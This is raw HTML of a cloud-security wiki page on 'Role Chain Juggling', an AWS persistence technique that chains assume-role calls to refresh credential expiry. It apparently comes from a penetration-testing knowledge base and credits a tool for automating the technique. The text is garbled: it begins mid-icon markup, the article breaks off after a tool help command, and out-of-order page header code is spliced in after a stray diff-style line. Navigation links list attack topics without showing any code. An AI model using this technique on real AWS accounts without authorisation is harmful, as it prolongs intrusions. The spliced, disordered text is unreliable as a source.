2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/role-chain-juggling.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=role-chain-juggling>Role Chain Juggling<a class=headerlink href=#role-chain-juggling title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://twitter.com/hotnops>Daniel Heinsen</a> </p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/hotnops/AWSRoleJuggler/ >AWSRoleJuggler</a></p> </li> </ul> </div> <p>When doing an assessment in AWS you may want to maintain access for an extended period of time. You may not have the ability to create a new IAM user, or create a new key for existing users. How else can you extend your access? Role Chain Juggling.</p> <p><a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining>Role chaining</a> is a recognized functionality of AWS in that you can use one assumed role to assume another one. When this happens the expiration field of the credentials is refreshed. This allows us to keep refreshing credentials over an over again.</p> <p>Through this, you can extend your access by chaining <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/assume-role.html>assume-role</a> calls.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>You can chain the same role multiple times so long as the Trust Policy is configured correctly. Additionally, finding roles that can assume each other will allow you to cycle back and forth.</p> </div> <p>To automate this work Daniel Heinsen developed a <a href=https://github.com/hotnops/AWSRoleJuggler/ >tool</a> to keep the juggling going.</p> <div class=highlight><pre><span></span><code>user@host:$ ./aws_role_juggler.py -h
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#role-chain-juggling class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Role Chain Juggling </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: 